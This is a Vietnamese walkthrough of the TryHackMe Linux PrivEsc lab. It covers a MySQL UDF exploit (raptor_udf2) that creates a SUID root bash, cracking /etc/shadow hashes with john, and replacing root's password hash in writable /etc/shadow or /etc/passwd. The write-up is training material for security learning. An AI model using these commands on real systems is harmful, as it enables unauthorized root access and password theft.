Chào các bạn, tiếp tục với các room trong TryHackMe list room from beginer, hôm nay chúng ta cùng đến với Linux PrivEsc để tìm hiểu về Privilege Escalation trong Linux nhé!
Task 1: Deploy the Vulnerable Debian VM
Ở phần đầu tiên, chỉ đơn giản là cài đặt máy để kết nối tới máy ảo của họ(vulnerable Debian VM) để bắt đầu khai thác.
Chúng ta sẽ kết nối tới máy của họ qua giao thức ssh .
ssh user@vulnerableVM_IP
Task 2: Service Exploits
Có nhiều Service chúng ta có thể khai thác nhưng trong bài này tác giả hướng chúng ta tới khai thác MySQL service
qua UDFs ( User Defined Functions)
Lưu ý điều kiện là MySQL đang chạy dưới user “root” và user đó không đặt mật khẩu.
Để có thể khai thác ta cần biên dịch file raptor_udf2.c
(Đã được cấp sẵn tại /home/user/tools/mysql-udf)
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Tiếp theo kết nối tới mysql bằng lệnh
mysql -u root</span
Rồi sau đó chạy đoạn lệnh sau để tạo ra một cái hàm (UDF) để chuẩn bị leo root. Mục đích của cái hàm này là lợi dụng mySQL để chạy lệnh của hệ thống dưới quyền root.(Vì mySQL đang đăng nhập bằng người dùng root)
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Sau khi tạo thành công hàm do_system
ta chạy hàm đó để copy /bin/bash vào /tmp/rootbash và cấp cho nó SUID permission:
select do_system(‘cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash’);
Xong rồi thì mình cùng lên root thôi:
/tmp/rootbash -p
Task 3: Weak File Permissions - Readable /etc/shadow
Trước hết ta cần nắm được là cái file /etc/shadow
là nơi lưu giữ mật khẩu của tất cả các người dùng dưới dạng hash. Thường thì cái file này chỉ root user mới được đọc. Nhưng trong bài này thì ai cũng có thể đọc được cái file đó và như vậy thì đương nhiên là ….
Khi mình đã có quyền đọc cái file đấy thì việc cần làm là crack cái chuỗi hash để lấy được password. Ở đây người ta hướng dẫn chúng ra dùng một công cụ là john
như sau:
john –wordlist=path_listPassword_file path_passWord_Hash_file
Lưu ý: nhớ đọc kỹ hướng dẫn sử dụng trước khi dùng john nhé!
Task 4: Weak File Permissions - Writable /etc/shadow
Ở task 3 là chúng ta có quyền đọc thì đi crack còn nếu có thêm quyền sửa thì chúng ta chỉ cần hash một cái pass mới rồi thay thể vào hash của pass cũ là xong. Điều quan trọng là phải biết cái hash đó dùng thuật toán gì.(Như trong bài là sha-512)
Đem ra so sánh thì việc crack password khó hơn nhiều so với việc xác định thật toán của hàm hash. Để xác định được thuật toán hash chúng ta có thể sử dụng một số tool như hash-identifier, hashid,… hoặc một số tool online như hash-analyzer
Sau khi xác định được thuật toán hash thì các bạn có thể dùng lệnh sau để tạo ra chuỗi hash:
mkpasswd -m hash_type newpasswordhere
Cuối cùng là thay thế đoạn hash của root user trong /etc/shadow thành đoạn hash vừa tạo để cập nhật pass mới cho root.
Task 5: Weak File Permissions - Writable /etc/passwd
Ngoài file như đã nói ở task 3,4 thì còn một file nữa là /etc/passwd
cũng lưu hash của password. Tuy nhiên có một số máy không lưu ở file này. Và thường thì nó không lưu ở file này.
Việc cần làm vẫn là loanh quanh như ở task 3 và 4. Đặc biệt, ở task này học được thêm một cách để tạo hash là:
openssl passwd newpasswordhere
Có một lưu ý là cái hash trong file này được lưu ở giữa dấu :
thứ 1 và 2 và thường thì ở đấy nó để chữ x
nhé!
Task 6:
[Đang cập nhật….]